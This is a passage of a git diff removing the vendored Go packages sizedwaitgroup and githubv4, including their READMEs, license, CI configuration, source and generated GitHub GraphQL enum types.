but it adds a limit of the amount of goroutines started concurrently. - -`SizedWaitGroup` adds the feature of limiting the maximum number of concurrently started routines. It could for example be used to start multiples routines querying a database but without sending too much queries in order to not overload the given database. - -# Example - -``` -package main - -import ( - "fmt" - "math/rand" - "time" - - "github.com/remeh/sizedwaitgroup" -) - -func main() { - rand.Seed(time.Now().UnixNano()) - - // Typical use-case: - // 50 queries must be executed as quick as possible - // but without overloading the database, so only - // 8 routines should be started concurrently. - swg := sizedwaitgroup.New(8) - for i := 0; i < 50; i++ { - swg.Add() - go func(i int) { - defer swg.Done() - query(i) - }(i) - } - - swg.Wait() -} - -func query(i int) { - fmt.Println(i) - ms := i + 500 + rand.Intn(500) - time.Sleep(time.Duration(ms) * time.Millisecond) -} -``` - -# License - -MIT - -# Copyright - -RÊmy Mathieu Š 2016 diff --git a/vendor/github.com/remeh/sizedwaitgroup/sizedwaitgroup.go b/vendor/github.com/remeh/sizedwaitgroup/sizedwaitgroup.go deleted file mode 100644 index 4a0685d620..0000000000 --- a/vendor/github.com/remeh/sizedwaitgroup/sizedwaitgroup.go +++ /dev/null @@ -1,84 +0,0 @@ -// Based upon sync.WaitGroup, SizedWaitGroup allows to start multiple -// routines and to wait for their end using the simple API. - -// SizedWaitGroup adds the feature of limiting the maximum number of -// concurrently started routines. It could for example be used to start -// multiples routines querying a database but without sending too much -// queries in order to not overload the given database. -// -// RÊmy Mathieu Š 2016 -package sizedwaitgroup - -import ( - "context" - "math" - "sync" -) - -// SizedWaitGroup has the same role and close to the -// same API as the Golang sync.WaitGroup but adds a limit of -// the amount of goroutines started concurrently. -type SizedWaitGroup struct { - Size int - - current chan struct{} - wg sync.WaitGroup -} - -// New creates a SizedWaitGroup. -// The limit parameter is the maximum amount of -// goroutines which can be started concurrently. -func New(limit int) SizedWaitGroup { - size := math.MaxInt32 // 2^32 - 1 - if limit > 0 { - size = limit - } - return SizedWaitGroup{ - Size: size, - - current: make(chan struct{}, size), - wg: sync.WaitGroup{}, - } -} - -// Add increments the internal WaitGroup counter. -// It can be blocking if the limit of spawned goroutines -// has been reached. It will stop blocking when Done is -// been called. -// -// See sync.WaitGroup documentation for more information. -func (s *SizedWaitGroup) Add() { - s.AddWithContext(context.Background()) -} - -// AddWithContext increments the internal WaitGroup counter. -// It can be blocking if the limit of spawned goroutines -// has been reached. It will stop blocking when Done is -// been called, or when the context is canceled. Returns nil on -// success or an error if the context is canceled before the lock -// is acquired. -// -// See sync.WaitGroup documentation for more information. -func (s *SizedWaitGroup) AddWithContext(ctx context.Context) error { - select { - case <-ctx.Done(): - return ctx.Err() - case s.current <- struct{}{}: - break - } - s.wg.Add(1) - return nil -} - -// Done decrements the SizedWaitGroup counter. -// See sync.WaitGroup documentation for more information. -func (s *SizedWaitGroup) Done() { - <-s.current - s.wg.Done() -} - -// Wait blocks until the SizedWaitGroup counter is zero. -// See sync.WaitGroup documentation for more information. -func (s *SizedWaitGroup) Wait() { - s.wg.Wait() -} diff --git a/vendor/github.com/shurcooL/githubv4/.travis.yml b/vendor/github.com/shurcooL/githubv4/.travis.yml deleted file mode 100644 index 437c57db3d..0000000000 --- a/vendor/github.com/shurcooL/githubv4/.travis.yml +++ /dev/null @@ -1,16 +0,0 @@ -sudo: false -language: go -go: - - 1.x - - master -matrix: - allow_failures: - - go: master - fast_finish: true -install: - - # Do nothing. This is needed to prevent default install action "go get -t -v ./..." from happening here (we want it to happen inside script step). -script: - - go get -t -v ./... - - diff -u <(echo -n) <(gofmt -d -s .) - - go vet ./... - - go test -v -race ./... diff --git a/vendor/github.com/shurcooL/githubv4/LICENSE b/vendor/github.com/shurcooL/githubv4/LICENSE deleted file mode 100644 index ca4c77642d..0000000000 --- a/vendor/github.com/shurcooL/githubv4/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2017 Dmitri Shuralyov - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/github.com/shurcooL/githubv4/README.md b/vendor/github.com/shurcooL/githubv4/README.md deleted file mode 100644 index 319a6428ab..0000000000 --- a/vendor/github.com/shurcooL/githubv4/README.md +++ /dev/null @@ -1,408 +0,0 @@ -githubv4 -======== - -[![Build Status](https://travis-ci.org/shurcooL/githubv4.svg?branch=master)](https://travis-ci.org/shurcooL/githubv4) [![GoDoc](https://godoc.org/github.com/shurcooL/githubv4?status.svg)](https://godoc.org/github.com/shurcooL/githubv4) - -Package `githubv4` is a client library for accessing GitHub GraphQL API v4 (https://developer.github.com/v4/). - -If you're looking for a client library for GitHub REST API v3, the recommended package is [`github.com/google/go-github/github`](https://godoc.org/github.com/google/go-github/github). - -**Status:** In research and development. The API will change when opportunities for improvement are discovered; it is not yet frozen. - -Focus ------ - -- Friendly, simple and powerful API. -- Correctness, high performance and efficiency. -- Support all of GitHub GraphQL API v4 via code generation from schema. - -Installation ------------- - -`githubv4` requires Go version 1.8 or later. - -```bash -go get -u github.com/shurcooL/githubv4 -``` - -Usage ------ - -### Authentication - -GitHub GraphQL API v4 [requires authentication](https://developer.github.com/v4/guides/forming-calls/#authenticating-with-graphql). The `githubv4` package does not directly handle authentication. Instead, when creating a new client, you're expected to pass an `http.Client` that performs authentication. The easiest and recommended way to do this is to use the [`golang.org/x/oauth2`](https://golang.org/x/oauth2) package. You'll need an OAuth token from GitHub (for example, a [personal API token](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/)) with the right scopes. Then: - -```Go -import "golang.org/x/oauth2" - -func main() { - src := oauth2.StaticTokenSource( - &oauth2.Token{AccessToken: os.Getenv("GITHUB_TOKEN")}, - ) - httpClient := oauth2.NewClient(context.Background(), src) - - client := githubv4.NewClient(httpClient) - // Use client... -} -``` - -### Simple Query - -To make a query, you need to define a Go type that corresponds to the GitHub GraphQL schema, and contains the fields you're interested in querying. You can look up the GitHub GraphQL schema at https://developer.github.com/v4/query/. - -For example, to make the following GraphQL query: - -```GraphQL -query { - viewer { - login - createdAt - } -} -``` - -You can define this variable: - -```Go -var query struct { - Viewer struct { - Login githubv4.String - CreatedAt githubv4.DateTime - } -} -``` - -Then call `client.Query`, passing a pointer to it: - -```Go -err := client.Query(context.Background(), &query, nil) -if err != nil { - // Handle error. -} -fmt.Println(" Login:", query.Viewer.Login) -fmt.Println("CreatedAt:", query.Viewer.CreatedAt) - -// Output: -// Login: gopher -// CreatedAt: 2017-05-26 21:17:14 +0000 UTC -``` - -### Scalar Types - -For each scalar in the GitHub GraphQL schema listed at https://developer.github.com/v4/scalar/, there is a corresponding Go type in package `githubv4`. - -You can use these types when writing queries: - -```Go -var query struct { - Viewer struct { - Login githubv4.String - CreatedAt githubv4.DateTime - IsBountyHunter githubv4.Boolean - BioHTML githubv4.HTML - WebsiteURL githubv4.URI - } -} -// Call client.Query() and use results in query... -``` - -However, depending on how you're planning to use the results of your query, it's often more convenient to use other Go types. - -The `encoding/json` rules are used for converting individual JSON-encoded fields from a GraphQL response into Go values. See https://godoc.org/encoding/json#Unmarshal for details. The [`json.Unmarshaler`](https://godoc.org/encoding/json#Unmarshaler) interface is respected. - -That means you can simplify the earlier query by using predeclared Go types: - -```Go -// import "time" - -var query struct { - Viewer struct { - Login string // E.g., "gopher". - CreatedAt time.Time // E.g., time.Date(2017, 5, 26, 21, 17, 14, 0, time.UTC). - IsBountyHunter bool // E.g., true. - BioHTML string // E.g., `I am learning GraphQL!`. - WebsiteURL string // E.g., "https://golang.org". - } -} -// Call client.Query() and use results in query... -``` - -The [`DateTime`](https://developer.github.com/v4/scalar/datetime/) scalar is described as "an ISO-8601 encoded UTC date string". If you wanted to fetch in that form without parsing it into a `time.Time`, you can use the `string` type. For example, this would work: - -```Go -// import "html/template" - -type MyBoolean bool - -var query struct { - Viewer struct { - Login string // E.g., "gopher". - CreatedAt string // E.g., "2017-05-26T21:17:14Z". - IsBountyHunter MyBoolean // E.g., MyBoolean(true). - BioHTML template.HTML // E.g., template.HTML(`I am learning GraphQL!`). - WebsiteURL template.URL // E.g., template.URL("https://golang.org"). - } -} -// Call client.Query() and use results in query... -``` - -### Arguments and Variables - -Often, you'll want to specify arguments on some fields. You can use the `graphql` struct field tag for this. - -For example, to make the following GraphQL query: - -```GraphQL -{ - repository(owner: "octocat", name: "Hello-World") { - description - } -} -``` - -You can define this variable: - -```Go -var q struct { - Repository struct { - Description string - } `graphql:"repository(owner: \"octocat\", name: \"Hello-World\")"` -} -``` - -Then call `client.Query`: - -```Go -err := client.Query(context.Background(), &q, nil) -if err != nil { - // Handle error. -} -fmt.Println(q.Repository.Description) - -// Output: -// My first repository on GitHub! -``` - -However, that'll only work if the arguments are constant and known in advance. Otherwise, you will need to make use of variables. Replace the constants in the struct field tag with variable names: - -```Go -// fetchRepoDescription fetches description of repo with owner and name. -func fetchRepoDescription(ctx context.Context, owner, name string) (string, error) { - var q struct { - Repository struct { - Description string - } `graphql:"repository(owner: $owner, name: $name)"` - } -``` - -When sending variables to GraphQL, you need to use exact types that match GraphQL scalar types, otherwise the GraphQL server will return an error. - -So, define a `variables` map with their values that are converted to GraphQL scalar types: - -```Go - variables := map[string]interface{}{ - "owner": githubv4.String(owner), - "name": githubv4.String(name), - } -``` - -Finally, call `client.Query` providing `variables`: - -```Go - err := client.Query(ctx, &q, variables) - return q.Repository.Description, err -} -``` - -### Inline Fragments - -Some GraphQL queries contain inline fragments. You can use the `graphql` struct field tag to express them. - -For example, to make the following GraphQL query: - -```GraphQL -{ - repositoryOwner(login: "github") { - login - ... on Organization { - description - } - ... on User { - bio - } - } -} -``` - -You can define this variable: - -```Go -var q struct { - RepositoryOwner struct { - Login string - Organization struct { - Description string - } `graphql:"... on Organization"` - User struct { - Bio string - } `graphql:"... on User"` - } `graphql:"repositoryOwner(login: \"github\")"` -} -``` - -Alternatively, you can define the struct types corresponding to inline fragments, and use them as embedded fields in your query: - -```Go -type ( - OrganizationFragment struct { - Description string - } - UserFragment struct { - Bio string - } -) - -var q struct { - RepositoryOwner struct { - Login string - OrganizationFragment `graphql:"... on Organization"` - UserFragment `graphql:"... on User"` - } `graphql:"repositoryOwner(login: \"github\")"` -} -``` - -Then call `client.Query`: - -```Go -err := client.Query(context.Background(), &q, nil) -if err != nil { - // Handle error. -} -fmt.Println(q.RepositoryOwner.Login) -fmt.Println(q.RepositoryOwner.Description) -fmt.Println(q.RepositoryOwner.Bio) - -// Output: -// github -// How people build software. -// -``` - -### Pagination - -Imagine you wanted to get a complete list of comments in an issue, and not just the first 10 or so. To do that, you'll need to perform multiple queries and use pagination information. For example: - -```Go -type comment struct { - Body string - Author struct { - Login string - AvatarURL string `graphql:"avatarUrl(size: 72)"` - } - ViewerCanReact bool -} -var q struct { - Repository struct { - Issue struct { - Comments struct { - Nodes []comment - PageInfo struct { - EndCursor githubv4.String - HasNextPage bool - } - } `graphql:"comments(first: 100, after: $commentsCursor)"` // 100 per page. - } `graphql:"issue(number: $issueNumber)"` - } `graphql:"repository(owner: $repositoryOwner, name: $repositoryName)"` -} -variables := map[string]interface{}{ - "repositoryOwner": githubv4.String(owner), - "repositoryName": githubv4.String(name), - "issueNumber": githubv4.Int(issue), - "commentsCursor": (*githubv4.String)(nil), // Null after argument to get first page. -} - -// Get comments from all pages. -var allComments []comment -for { - err := s.clQL.Query(ctx, &q, variables) - if err != nil { - return err - } - allComments = append(allComments, q.Repository.Issue.Comments.Nodes...) - if !q.Repository.Issue.Comments.PageInfo.HasNextPage { - break - } - variables["commentsCursor"] = githubv4.NewString(q.Repository.Issue.Comments.PageInfo.EndCursor) -} -``` - -There is more than one way to perform pagination. Consider additional fields inside [`PageInfo`](https://developer.github.com/v4/object/pageinfo/) object. - -### Mutations - -Mutations often require information that you can only find out by performing a query first. Let's suppose you've already done that. - -For example, to make the following GraphQL mutation: - -```GraphQL -mutation($input: AddReactionInput!) { - addReaction(input: $input) { - reaction { - content - } - subject { - id - } - } -} -variables { - "input": { - "subjectId": "MDU6SXNzdWUyMTc5NTQ0OTc=", - "content": "HOORAY" - } -} -``` - -You can define: - -```Go -var m struct { - AddReaction struct { - Reaction struct { - Content githubv4.ReactionContent - } - Subject struct { - ID githubv4.ID - } - } `graphql:"addReaction(input: $input)"` -} -input := githubv4.AddReactionInput{ - SubjectID: targetIssue.ID, // ID of the target issue from a previous query. - Content: githubv4.ReactionContentHooray, -} -``` - -Then call `client.Mutate`: - -```Go -err := client.Mutate(context.Background(), &m, input, nil) -if err != nil { - // Handle error. -} -fmt.Printf("Added a %v reaction to subject with ID %#v!\n", m.AddReaction.Reaction.Content, m.AddReaction.Subject.ID) - -// Output: -// Added a HOORAY reaction to subject with ID "MDU6SXNzdWUyMTc5NTQ0OTc="! -``` - -Directories ------------ - -| Path | Synopsis | -|-------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------| -| [example/githubv4dev](https://godoc.org/github.com/shurcooL/githubv4/example/githubv4dev) | githubv4dev is a test program currently being used for developing githubv4 package. | - -License -------- - -- [MIT License](LICENSE) diff --git a/vendor/github.com/shurcooL/githubv4/doc.go b/vendor/github.com/shurcooL/githubv4/doc.go deleted file mode 100644 index 0ce1a508a8..0000000000 --- a/vendor/github.com/shurcooL/githubv4/doc.go +++ /dev/null @@ -1,13 +0,0 @@ -// Package githubv4 is a client library for accessing GitHub -// GraphQL API v4 (https://developer.github.com/v4/). -// -// If you're looking for a client library for GitHub REST API v3, -// the recommended package is github.com/google/go-github/github. -// -// Status: In active early research and development. The API will change when -// opportunities for improvement are discovered; it is not yet frozen. -// -// For now, see README for more details. -package githubv4 // import "github.com/shurcooL/githubv4" - -//go:generate go run gen.go diff --git a/vendor/github.com/shurcooL/githubv4/enum.go b/vendor/github.com/shurcooL/githubv4/enum.go deleted file mode 100644 index 46fbeb0da1..0000000000 --- a/vendor/github.com/shurcooL/githubv4/enum.go +++ /dev/null @@ -1,1382 +0,0 @@ -// Code generated by gen.go; DO NOT EDIT. - -package githubv4 - -// ActionExecutionCapabilitySetting represents the possible capabilities for action executions setting. -type ActionExecutionCapabilitySetting string - -// The possible capabilities for action executions setting. -const ( - ActionExecutionCapabilitySettingDisabled ActionExecutionCapabilitySetting = "DISABLED" // All action executions are disabled. - ActionExecutionCapabilitySettingAllActions ActionExecutionCapabilitySetting = "ALL_ACTIONS" // All action executions are enabled. - ActionExecutionCapabilitySettingLocalActionsOnly ActionExecutionCapabilitySetting = "LOCAL_ACTIONS_ONLY" // Only actions defined within the repo are allowed. - ActionExecutionCapabilitySettingNoPolicy ActionExecutionCapabilitySetting = "NO_POLICY" // Organization administrators action execution capabilities. -) - -// AuditLogOrderField represents properties by which Audit Log connections can be ordered. -type AuditLogOrderField string - -// Properties by which Audit Log connections can be ordered. -const ( - AuditLogOrderFieldCreatedAt AuditLogOrderField = "CREATED_AT" // Order audit log entries by timestamp. -) - -// CollaboratorAffiliation represents collaborators affiliation level with a subject. -type CollaboratorAffiliation string - -// Collaborators affiliation level with a subject. -const ( - CollaboratorAffiliationOutside CollaboratorAffiliation = "OUTSIDE" // All outside collaborators of an organization-owned subject. - CollaboratorAffiliationDirect CollaboratorAffiliation = "DIRECT" // All collaborators with permissions to an organization-owned subject, regardless of organization membership status. - CollaboratorAffiliationAll CollaboratorAffiliation = "ALL" // All collaborators the authenticated user can see. -) - -// CommentAuthorAssociation represents a comment author association with repository. -type CommentAuthorAssociation string - -// A comment author association with repository. -const ( - CommentAuthorAssociationMember CommentAuthorAssociation = "MEMBER" // Author is a member of the organization that owns the repository. - CommentAuthorAssociationOwner CommentAuthorAssociation = "OWNER" // Author is the owner of the repository. - CommentAuthorAssociationCollaborator CommentAuthorAssociation = "COLLABORATOR" // Author has been invited to collaborate on the repository. - CommentAuthorAssociationContributor CommentAuthorAssociation = "CONTRIBUTOR" // Author has previously committed to the repository. - CommentAuthorAssociationFirstTimeContributor CommentAuthorAssociation = "FIRST_TIME_CONTRIBUTOR" // Author has not previously committed to the repository. - CommentAuthorAssociationFirstTimer CommentAuthorAssociation = "FIRST_TIMER" // Author has not previously committed to GitHub. - CommentAuthorAssociationNone CommentAuthorAssociation = "NONE" // Author has no association with the repository. -) - -// CommentCannotUpdateReason represents the possible errors that will prevent a user from updating a comment. -type CommentCannotUpdateReason string - -// The possible errors that will prevent a user from updating a comment. -const ( - CommentCannotUpdateReasonArchived CommentCannotUpdateReason = "ARCHIVED" // Unable to create comment because repository is archived. - CommentCannotUpdateReasonInsufficientAccess CommentCannotUpdateReason = "INSUFFICIENT_ACCESS" // You must be the author or have write access to this repository to update this comment. - CommentCannotUpdateReasonLocked CommentCannotUpdateReason = "LOCKED" // Unable to create comment because issue is locked. - CommentCannotUpdateReasonLoginRequired CommentCannotUpdateReason = "LOGIN_REQUIRED" // You must be logged in to update this comment. - CommentCannotUpdateReasonMaintenance CommentCannotUpdateReason = "MAINTENANCE" // Repository is under maintenance. - CommentCannotUpdateReasonVerifiedEmailRequired CommentCannotUpdateReason = "VERIFIED_EMAIL_REQUIRED" // At least one email address must be verified to update this comment. - CommentCannotUpdateReasonDenied CommentCannotUpdateReason = "DENIED" // You cannot update this comment. -) - -// CommitContributionOrderField represents properties by which commit contribution connections can be ordered. -type CommitContributionOrderField string - -// Properties by which commit contribution connections can be ordered. -const ( - CommitContributionOrderFieldOccurredAt CommitContributionOrderField = "OCCURRED_AT" // Order commit contributions by when they were made. - CommitContributionOrderFieldCommitCount CommitContributionOrderField = "COMMIT_COUNT" // Order commit contributions by how many commits they represent. -) - -// ContributionOrderField represents properties by which contribution connections can be ordered. -type ContributionOrderField string - -// Properties by which contribution connections can be ordered. -const ( - ContributionOrderFieldOccurredAt ContributionOrderField = "OCCURRED_AT" // Order contributions by when they were made. -) - -// DefaultRepositoryPermissionField represents the possible default permissions for repositories. -type DefaultRepositoryPermissionField string - -// The possible default permissions for repositories. -const ( - DefaultRepositoryPermissionFieldNone DefaultRepositoryPermissionField = "NONE" // No access. - DefaultRepositoryPermissionFieldRead DefaultRepositoryPermissionField = "READ" // Can read repos by default. - DefaultRepositoryPermissionFieldWrite DefaultRepositoryPermissionField = "WRITE" // Can read and write repos by default. - DefaultRepositoryPermissionFieldAdmin DefaultRepositoryPermissionField = "ADMIN" // Can read, write, and administrate repos by default. -) - -// DeploymentOrderField represents properties by which deployment connections can be ordered. -type DeploymentOrderField string - -// Properties by which deployment connections can be ordered. -const ( - DeploymentOrderFieldCreatedAt DeploymentOrderField = "CREATED_AT" // Order collection by creation time. -) - -// DeploymentState represents the possible states in which a deployment can be. -type DeploymentState string - -// The possible states in which a deployment can be. -const ( - DeploymentStateAbandoned DeploymentState = "ABANDONED" // The pending deployment was not updated after 30 minutes. - DeploymentStateActive DeploymentState = "ACTIVE" // The deployment is currently active. - DeploymentStateDestroyed DeploymentState = "DESTROYED" // An inactive transient deployment. - DeploymentStateError DeploymentState = "ERROR" // The deployment experienced an error. - DeploymentStateFailure DeploymentState = "FAILURE" // The deployment has failed. - DeploymentStateInactive DeploymentState = "INACTIVE" // The deployment is inactive. - DeploymentStatePending DeploymentState = "PENDING" // The deployment is pending. - DeploymentStateQueued DeploymentState = "QUEUED" // The deployment has queued. - DeploymentStateInProgress DeploymentState = "IN_PROGRESS" // The deployment is in progress. -) - -// DeploymentStatusState represents the possible states for a deployment status. -type DeploymentStatusState string - -// The possible states for a deployment status. -const ( - DeploymentStatusStatePending DeploymentStatusState = "PENDING" // The deployment is pending. - DeploymentStatusStateSuccess DeploymentStatusState = "SUCCESS" // The deployment was successful. - DeploymentStatusStateFailure DeploymentStatusState = "FAILURE" // The deployment has failed. - DeploymentStatusStateInactive DeploymentStatusState = "INACTIVE" // The deployment is inactive. - DeploymentStatusStateError DeploymentStatusState = "ERROR" // The deployment experienced an error. - DeploymentStatusStateQueued DeploymentStatusState = "QUEUED" // The deployment is queued. - DeploymentStatusStateInProgress DeploymentStatusState = "IN_PROGRESS" // The deployment is in progress. -) - -// EnterpriseAdministratorInvitationOrderField represents properties by which enterprise administrator invitation connections can be ordered. -type EnterpriseAdministratorInvitationOrderField string - -// Properties by which enterprise administrator invitation connections can be ordered. -const ( - EnterpriseAdministratorInvitationOrderFieldCreatedAt EnterpriseAdministratorInvitationOrderField = "CREATED_AT" // Order enterprise administrator member invitations by creation time. -) - -// EnterpriseAdministratorRole represents the possible administrator roles in an enterprise account. -type EnterpriseAdministratorRole string - -// The possible administrator roles in an enterprise account. -const ( - EnterpriseAdministratorRoleOwner EnterpriseAdministratorRole = "OWNER" // Represents an owner of the enterprise account. - EnterpriseAdministratorRoleBillingManager EnterpriseAdministratorRole = "BILLING_MANAGER" // Represents a billing manager of the enterprise account. -) - -// EnterpriseDefaultRepositoryPermissionSettingValue represents the possible values for the enterprise default repository permission setting. -type EnterpriseDefaultRepositoryPermissionSettingValue string - -// The possible values for the enterprise default repository permission setting. -const ( - EnterpriseDefaultRepositoryPermissionSettingValueNoPolicy EnterpriseDefaultRepositoryPermissionSettingValue = "NO_POLICY" // Organizations in the enterprise choose default repository permissions for their members. - EnterpriseDefaultRepositoryPermissionSettingValueAdmin EnterpriseDefaultRepositoryPermissionSettingValue = "ADMIN" // Organization members will be able to clone, pull, push, and add new collaborators to all organization repositories. - EnterpriseDefaultRepositoryPermissionSettingValueWrite EnterpriseDefaultRepositoryPermissionSettingValue = "WRITE" // Organization members will be able to clone, pull, and push all organization repositories. - EnterpriseDefaultRepositoryPermissionSettingValueRead EnterpriseDefaultRepositoryPermissionSettingValue = "READ" // Organization members will be able to clone and pull all organization repositories. - EnterpriseDefaultRepositoryPermissionSettingValueNone EnterpriseDefaultRepositoryPermissionSettingValue = "NONE" // Organization members will only be able to clone and pull public repositories. -) - -// EnterpriseEnabledDisabledSettingValue represents the possible values for an enabled/disabled enterprise setting. -type EnterpriseEnabledDisabledSettingValue string - -// The possible values for an enabled/disabled enterprise setting. -const ( - EnterpriseEnabledDisabledSettingValueEnabled EnterpriseEnabledDisabledSettingValue = "ENABLED" // The setting is enabled for organizations in the enterprise. - EnterpriseEnabledDisabledSettingValueDisabled EnterpriseEnabledDisabledSettingValue = "DISABLED" // The setting is disabled for organizations in the enterprise. - EnterpriseEnabledDisabledSettingValueNoPolicy EnterpriseEnabledDisabledSettingValue = "NO_POLICY" // There is no policy set for organizations in the enterprise. -) - -// EnterpriseEnabledSettingValue represents the possible values for an enabled/no policy enterprise setting. -type EnterpriseEnabledSettingValue string - -// The possible values for an enabled/no policy enterprise setting. -const ( - EnterpriseEnabledSettingValueEnabled EnterpriseEnabledSettingValue = "ENABLED" // The setting is enabled for organizations in the enterprise. - EnterpriseEnabledSettingValueNoPolicy EnterpriseEnabledSettingValue = "NO_POLICY" // There is no policy set for organizations in the enterprise. -) - -// EnterpriseMemberOrderField represents properties by which enterprise member connections can be ordered. -type EnterpriseMemberOrderField string - -// Properties by which enterprise member connections can be ordered. -const ( - EnterpriseMemberOrderFieldLogin EnterpriseMemberOrderField = "LOGIN" // Order enterprise members by login. - EnterpriseMemberOrderFieldCreatedAt EnterpriseMemberOrderField = "CREATED_AT" // Order enterprise members by creation time. -) - -// EnterpriseMembersCanCreateRepositoriesSettingValue represents the possible values for the enterprise members can create repositories setting. -type EnterpriseMembersCanCreateRepositoriesSettingValue string - -// The possible values for the enterprise members can create repositories setting. -const ( - EnterpriseMembersCanCreateRepositoriesSettingValueNoPolicy EnterpriseMembersCanCreateRepositoriesSettingValue = "NO_POLICY" // Organization administrators choose whether to allow members to create repositories. - EnterpriseMembersCanCreateRepositoriesSettingValueAll EnterpriseMembersCanCreateRepositoriesSettingValue = "ALL" // Members will be able to create public and private repositories. - EnterpriseMembersCanCreateRepositoriesSettingValuePublic EnterpriseMembersCanCreateRepositoriesSettingValue = "PUBLIC" // Members will be able to create only public repositories. - EnterpriseMembersCanCreateRepositoriesSettingValuePrivate EnterpriseMembersCanCreateRepositoriesSettingValue = "PRIVATE" // Members will be able to create only private repositories. - EnterpriseMembersCanCreateRepositoriesSettingValueDisabled EnterpriseMembersCanCreateRepositoriesSettingValue = "DISABLED" // Members will not be able to create public or private repositories. -) - -// EnterpriseMembersCanMakePurchasesSettingValue represents the possible values for the members can make purchases setting. -type EnterpriseMembersCanMakePurchasesSettingValue string - -// The possible values for the members can make purchases setting. -const ( - EnterpriseMembersCanMakePurchasesSettingValueEnabled EnterpriseMembersCanMakePurchasesSettingValue = "ENABLED" // The setting is enabled for organizations in the enterprise. - EnterpriseMembersCanMakePurchasesSettingValueDisabled EnterpriseMembersCanMakePurchasesSettingValue = "DISABLED" // The setting is disabled for organizations in the enterprise. -) - -// EnterpriseMembershipType represents the possible values we have for filtering Platform::Objects::User#enterprises. -type EnterpriseMembershipType string - -// The possible values we have for filtering Platform::Objects::User#enterprises. -const ( - EnterpriseMembershipTypeAll EnterpriseMembershipType = "ALL" // Returns all enterprises in which the user is a member, admin, or billing manager. - EnterpriseMembershipTypeAdmin EnterpriseMembershipType = "ADMIN" // Returns all enterprises in which the user is an admin. - EnterpriseMembershipTypeBillingManager EnterpriseMembershipType = "BILLING_MANAGER" // Returns all enterprises in which the user is a billing manager. - EnterpriseMembershipTypeOrgMembership EnterpriseMembershipType = "ORG_MEMBERSHIP" // Returns all enterprises in which the user is a member of an org that is owned by the enterprise. -) - -// EnterpriseOrderField represents properties by which enterprise connections can be ordered. -type EnterpriseOrderField string - -// Properties by which enterprise connections can be ordered. -const ( - EnterpriseOrderFieldName EnterpriseOrderField = "NAME" // Order enterprises by name. -) - -// EnterpriseServerInstallationOrderField represents properties by which Enterprise Server installation connections can be ordered. -type EnterpriseServerInstallationOrderField string - -// Properties by which Enterprise Server installation connections can be ordered. -const ( - EnterpriseServerInstallationOrderFieldHostName EnterpriseServerInstallationOrderField = "HOST_NAME" // Order Enterprise Server installations by host name. - EnterpriseServerInstallationOrderFieldCustomerName EnterpriseServerInstallationOrderField = "CUSTOMER_NAME" // Order Enterprise Server installations by customer name. - EnterpriseServerInstallationOrderFieldCreatedAt EnterpriseServerInstallationOrderField = "CREATED_AT" // Order Enterprise Server installations by creation time. -) - -// EnterpriseServerUserAccountEmailOrderField represents properties by which Enterprise Server user account email connections can be ordered. -type EnterpriseServerUserAccountEmailOrderField string - -// Properties by which Enterprise Server user account email connections can be ordered. -const ( - EnterpriseServerUserAccountEmailOrderFieldEmail EnterpriseServerUserAccountEmailOrderField = "EMAIL" // Order emails by email. -) - -// EnterpriseServerUserAccountOrderField represents properties by which Enterprise Server user account connections can be ordered. -type EnterpriseServerUserAccountOrderField string - -// Properties by which Enterprise Server user account connections can be ordered. -const ( - EnterpriseServerUserAccountOrderFieldLogin EnterpriseServerUserAccountOrderField = "LOGIN" // Order user accounts by login. - EnterpriseServerUserAccountOrderFieldRemoteCreatedAt EnterpriseServerUserAccountOrderField = "REMOTE_CREATED_AT" // Order user accounts by creation time on the Enterprise Server installation. -) - -// EnterpriseServerUserAccountsUploadOrderField represents properties by which Enterprise Server user accounts upload connections can be ordered. -type EnterpriseServerUserAccountsUploadOrderField string - -// Properties by which Enterprise Server user accounts upload connections can be ordered. -const ( - EnterpriseServerUserAccountsUploadOrderFieldCreatedAt EnterpriseServerUserAccountsUploadOrderField = "CREATED_AT" // Order user accounts uploads by creation time. -) - -// EnterpriseServerUserAccountsUploadSyncState represents synchronization state of the Enterprise Server user accounts upload. -type EnterpriseServerUserAccountsUploadSyncState string - -// Synchronization state of the Enterprise Server user accounts upload. -const ( - EnterpriseServerUserAccountsUploadSyncStatePending EnterpriseServerUserAccountsUploadSyncState = "PENDING" // The synchronization of the upload is pending. - EnterpriseServerUserAccountsUploadSyncStateSuccess EnterpriseServerUserAccountsUploadSyncState = "SUCCESS" // The synchronization of the upload succeeded. - EnterpriseServerUserAccountsUploadSyncStateFailure EnterpriseServerUserAccountsUploadSyncState = "FAILURE" // The synchronization of the upload failed. -) - -// EnterpriseUserAccountMembershipRole represents the possible roles for enterprise membership. -type EnterpriseUserAccountMembershipRole string - -// The possible roles for enterprise membership. -const ( - EnterpriseUserAccountMembershipRoleMember EnterpriseUserAccountMembershipRole = "MEMBER" // The user is a member of the enterprise membership. - EnterpriseUserAccountMembershipRoleOwner EnterpriseUserAccountMembershipRole = "OWNER" // The user is an owner of the enterprise membership. -) - -// EnterpriseUserDeployment represents the possible GitHub Enterprise deployments where this user can exist. -type EnterpriseUserDeployment string - -// The possible GitHub Enterprise deployments where this user can exist. -const ( - EnterpriseUserDeploymentCloud EnterpriseUserDeployment = "CLOUD" // The user is part of a GitHub Enterprise Cloud deployment. - EnterpriseUserDeploymentServer EnterpriseUserDeployment = "SERVER" // The user is part of a GitHub Enterprise Server deployment. -) - -// FundingPlatform represents the possible funding platforms for repository funding links. -type FundingPlatform string - -// The possible funding platforms for repository funding links. -const ( - FundingPlatformGitHub FundingPlatform = "GITHUB" // GitHub funding platform. - FundingPlatformPatreon FundingPlatform = "PATREON" // Patreon funding platform. 